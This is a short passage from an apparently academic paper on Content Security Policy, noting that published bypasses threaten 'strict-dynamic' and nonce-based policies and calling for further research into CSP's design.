threat to the security of ’strict-dynamic’ and nonces using the proposed bypasses by Lekies et al.
[27]. The implementation of a secure policy still remains difficult due to high number of bypasses
and the insecurity of JavaScript libraries. More research rooted into the design and motivation of
CSP is required to propose a mechanism which offers real security benefits [5, 48].
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